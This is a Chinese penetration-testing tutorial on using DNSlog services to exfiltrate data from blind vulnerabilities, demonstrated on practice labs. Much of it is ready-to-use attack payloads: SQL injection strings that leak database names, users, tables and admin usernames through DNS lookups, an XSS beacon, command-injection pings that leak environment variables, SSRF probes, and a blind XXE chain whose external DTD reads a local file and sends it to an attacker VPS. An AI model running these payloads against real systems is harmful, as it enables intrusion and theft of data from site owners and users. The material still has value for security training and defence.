如何利用DNSlog进行更高效率的无回显渗透

如何利用DNSlog进行更高效率的无回显渗透

0.说在前面

0.1.DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog

另外我们也可以使用在线平台:

http://ceye.io

http://www.dnslog.cn

0.1.1.www.dnslog.cn使用方法

(1)Get SubDomain的意思是获取子域名,这里点击完就给我们一个三级域名。复制完后,打开新网页并粘贴在url上,访问img

(2)点击完会出现一条DNS记录img

0.1.1.1.注意

img

这里一直刷新访问网址,并在DNSlog.cn里刷新记录(Refresh Record),可是无论怎么刷新,记录都是只有这几条。因为dns协议的目的是我要访问这个域名,可是不知道对应的ip,我就去问,第一次不知道,第二次不知道,第三次也不知道,那第四次总该记住了,这就是dns缓存了的问题。碰到一个新来的域名我不知道,但是问了几次之后我就知道了,我就不需要再查询了。这就是为什么怎么刷新都不会有新的记录了。

解决方法

像下图这样在前面加一个1.,使它变成新的域名,再重新访问后,再刷新记录,就有了

img

0.1.2.ceye.io使用方法

http://www.dnslog.cn使用方法类似

(1)login进入后,会给我们一个三级域名,在用户详情页”Profile”中自己的域名标识符”Identifier”。对于每个用户,都有唯一的域名标识符如 xxx.ceye.io 。所有来自于 xxx.ceye.io 或 *.xxx.ceye.io 的DNS查询和HTTP请求都会被记录。

(2)我们复制完,打开新网页并粘贴在url上,访问

(3)最后可以在”Records”里的”DNS Query”中查看

1.什么是DNSlog

我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

2.DNSlog回显原理

前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢。我们得再了解一个多级域名的概念。
[域名分级与域名解析过程(DNS)](https://blog.csdn.net/weixin_50464560/article/d etails/117607146)
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:

1
tieba.baidu.com

它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不区分大小写。

再来看一个图:

img

通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。

img

DNSlog.cn中也记录了下来

img

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

3.DNSlog通常用在哪些地方

大家在渗透测试的时候可能会遇到一下这些情况:

  • 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
  • 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

3.1.SQL注入盲注

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显

3.1.1.UNC路径

UNC路径

注意:读取远程文件就要用到UNC路径

UNC路径就是类似\softer这样的形式的网络路径,就是\。

例子:\\\www.mss.cn\2.txt

注意:这种用反斜杠是微软喜欢反着来,在微软文件夹里查询需要反斜杠;如果是在别的地方如url里查询就要用正斜杠/,即//www.mss.cn/2.txt,如果硬要用反斜杠,得另外加两个反斜杠来转义,即要四个反斜杠,很麻烦。如:(select load_file(concat(‘\\‘,(select datab ase()),’.xxxx.ceye.io\abc’)))

3.1.2.mysql的load_file()函数条件和secure_file_priv设置

例子:

select load_file(‘/etc/hosts’)

例如上面的例子是有条件限制的:

1、必须有权限读取并且文件必须完全可读。

1
2
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/

img

我们查看mysql这个库中user表中的字段有这些img

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
(1)当secure_file_priv为空,就可以读取磁盘的目录。
(2)当secure_file_priv为G:\,就可以读取G盘的文件。
(3)当secure_file_priv为null,load_file就不能加载文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量,secure_file_priv设置具体看这里:

若secure_auth为ON,则用以下方法变为OFF(mysql查询默认是不区分大小写的)
img
secure_file_priv不能通过此方法修改,因为报错为Variable ‘XXX’ is a read only variable。报错原因及修改方法为:参数为只读参数,需要在mysql.ini配置文件中更改该参数,之后重启数据库
img
将secure_file_priv为空的正确方法(注意NULL不是我们要的空,NULL和空的类型不一样)
img
secure_file_priv=””就是可以load_flie任意磁盘的文件。

2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于max_allowed_packet

1
2
3
4
5
6
7
8
9
show global VARIABLES like 'max_allowed_packet';

如果文件超过了max_allowed_packet,则结果如下:
mysql> select load_file("C:/Users/XF/Desktop/杀猪盘/index.php");
+---------------------------------------------------+
| load_file("C:/Users/XF/Desktop/杀猪盘/index.php") |
+---------------------------------------------------+
| NULL |
+---------------------------------------------------+

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。

在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,users就不能实现用load_file读取文件了。

3.1.2.1.注意事项
  1. dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。
  2. 在进行注入的时候,需要先判断该位置是否存在注入,然后再在后面拼接代码,因为对照payload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。
  3. 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

3.1.3.过程

(1)这里字符型注入和数字型注入都不会回显,是盲注,我们就用DNSlog注入

img

这里读取远程文件就要用到UNC路径,UNC路径就是类似\softer这样的形式的网络路径,就是\。例子:\\\www.mss.cn\2.txt。微软里喜欢跟别人反着来,所以在微软文件夹里查询用反斜杠\\;而这里如果要在url中得用正斜杠/,不然查不出来,如果硬要用反斜杠,得另外加反斜杠来转义,unc路径就要四个反斜杠,很麻烦。如:(select load_file(concat(‘\\‘,(select datab ase()),’.xxxx.ceye.io\abc’)))

1
2
3
当前库名payload:and (select load_file(concat('//',(select datab ase()),'.6.eudspa.dnslog.cn/a')))

注意:后面这个a文件存不存在并不重要,随便写个文件就行,只要发生了DNS解析,我们就能看到我们所需要的东西,如这里的库名,但是这个文件必须要写,因为这是load_file函数所需要的条件。

注:当前库名img

1
2
3
4
5
6
7
用户名payload:and (select load_file(concat('//',(select hex(user())),'.wlgbdd.dnslog.cn/a')))

注意:为什么要对查询的内容进行hex编码?
如果我们要查询的用户名中存在特殊字符:如!@#$%^&
最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn
存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。
所以在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

将hex(用户名)去hex解码,得出结果为root@localhost

img

1
2
3
第一个表名payload:and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=datab ase() limit 0,1),'.wlgbdd.dnslog.cn/a')))

通过修改 limit 0,1 可以获得不同数据表

img

1
2
3
第二个数据列名payload:and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.wlgbdd.dnslog.cn/a')))

通过修改 limit 0,1 可以获得不同数据列

img

1
2
3
表‘admin’列‘username’第一个字段名payload:and (select load_file(concat('//',(select username from maoshe.admin limit 0,1),'.wlgbdd.dnslog.cn/a')))

通过修改 limit 0,1 可以获得不同数据

img

3.1.3.1.注意

在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

3.2.XSS盲打

推荐:XSS绕过可以看看该文章:[XSS过滤绕过速查表](https://blog.csdn.net/weixin_50464560/article/d etails/114491500)

3.2.1.介绍

简单来说,在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户访问的时候,将他的信息带回来

3.2.2.过程

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

1
<img src=http://xss.xxx.ceye.io>

让src请求我们的dnslog平台。这里举个例子:

img

然后回来看DNSlog平台:

img

已经收到了请求,所以dns已经被解析

这边再举一例:

DNSlog平台先搞一个域名

img

在留言板里如下留言

img

登录后台查看

img

成功,这就是一个存储型xss盲打

img

3.3.无回显的命令执行

3.3.1.介绍

我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功

3.3.2.过程

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有洞

如果是win系统,简单的ping %os%.xxxx.cete.io即可

img

DNSlog这边得到了os的信息,那么就说明这里存在命令注入

下面是windows的常用变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//变量                     类型       描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%P ROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。

如果目标系统是linux的话,则可用shell语言

img

img

或者

img

img

3.4.无回显的SSRF

3.4.1.介绍

这里先来介绍下这个漏洞:

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

介绍结束。

那么当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL,若存在回显利用方式比较多 。但是若遇到无回显的SSRF,这时就可以考虑用DNSlog来解决。

3.4.2.过程

这里用的时CTFHub上面的一个SSRF靶场。CTFHub

一点击进去首页就是这样,看到这样的url便下意识想到ssrf

img

这里因为是让我们从目标主机内网环境访问其本地的flag.php,那我们就构造:/?url=http://127.0.0.1/flag.php

然后就成功访问到了目标机本地的flag.php

img

这种是有回显的,我们很容易就判断出来这里存在SSRF漏洞。那么如果这里是无回显的呢,那么该如何判断这里可能存在SSRF呢?那么在前期渗透的时候我们这里就可以用DNSlog来初步判断服务器有对外发送请求的行为,为下一步的SSRF渗透打下基础:

1
/?url=http://hfsy89.ceye.io

img

然后看我们的dnslog平台是否有服务器的IP来判断,这里就有可能有SSRF漏洞。

img
但是要特别注意一点:
这样不能证明它一定能请求到内网,比如一些业务场景如人脸识别、图床、或者需要去外部加载资源等等,本身限制了访问内网ip,但是dnslog是在外网的,本身就可以访问的到。所以这里还有待继续研究。

3.5.无回显的XXE(Blind XXE)

3.5.1.介绍

XXE漏洞全称(X ML External Entity Injection)即X ML外部实体注入漏洞,XXE漏洞发生在应用程序解析X ML输入时,没有禁止外部实体的加载(下面会介绍),导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。

那么来介绍介绍外部实体的加载:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

1.内部实体声明

1
<!ENTITY 实体名称 "实体的值">

如:

1
2
<!ENTITY writer "Johnson666">
<!ENTITY copyright "Copyright W3School.com.cn">

我们要引用上面两个实体,则:

1
<author>&writer;©right;</author>                 //&writer;相当于 "Johnson666"

2.外部实体声明

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

如:

1
2
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

引用:

1
<author>&writer;©right;</author>

这两种引用的方式都为:

1
&实体名;

以上为外部实体的加载。

xxe如果前端页面都会有一个回显的话,我们可以很方便的进行文件读取,那前端页面要是不进行回显了,那我们怎么判断是否存在xxe漏洞了呢?这里就涉及了blind xxe(无回显的xxe),其实利用dnslog就能进行判断,若dnslog有记录说明存在此漏洞。这里最关键的是证明存在后,怎么用blind xxe进行文件读取,这就涉及到用VPS了,下面我会介绍。

3.5.2.过程

这里我以pikachu靶场为例:

1.修改源码

我们将源码中的输出语句进行注释,构成Blind XXE

img

这样再进行判断是否能输出解析的X ML语句,如下页面中就看到不了hi了

img

原本没修改源码前是可以看到的

img

2.漏洞验证

在输入框中提交dnslog测试的语句

1
2
3
4
5
<?X ML version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xi SYSTEM "http://hfsy89.ceye.io">
]>
<reset><login>ξ</login><secret>Any bugs?</secret></reset>

img

然后去dnslog平台上查看,看到接收到了信息,说明漏洞真的存在

img

3.文件读取

这里需要一个VPS,VPS中放入一个DTD的文件,并在该文件所在目录开启一个web服务,我这里用的是python开启的

a.dtd文件内如下:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.b ase64-encode/resource=file:///c:/windows/blind.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:6666/%file;'>">

这段代码的意思是:实体int为http://vps的ip:6666/,实体file为file:///c:/windows/blind.txt(经过b ase64编码),总体的意思就是访问vps的6666端口并携带本机的c:/windows/blind.txt的文件。

python开启web服务,监听11111端口

1
python -m http.server 11111

img

这样就可以通过本机去访问这个web服务

img

然后再用python再开启一个端口,接收读取的目标服务器的数据,这里监听的是上面文件中写的6666端口

img

payload:

1
2
3
4
<?X ML version="1.0" encoding="gb2312"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://vps ip:web端口/a.dtd">
%xxe;%int;%send; ]>

img

burp suite提交数据后,可能会无响应,这时只要刷新一下浏览器所在的web服务界面就行

查看接收的数据

img

我们将这个数据进行b ase64解码后查看,就是我们主机上的文件

img

通过这样的方式,我们可以一直进行文件读取,直到读取到有用的数据,比如说公钥文件,就可能能进行远程连接ssh。

参考链接:

https://www.cnblogs.com/-qing-/p/10623583.html

https://www.cnblogs.com/sstfy/p/10351807.html

https://xz.aliyun.com/t/9747

0%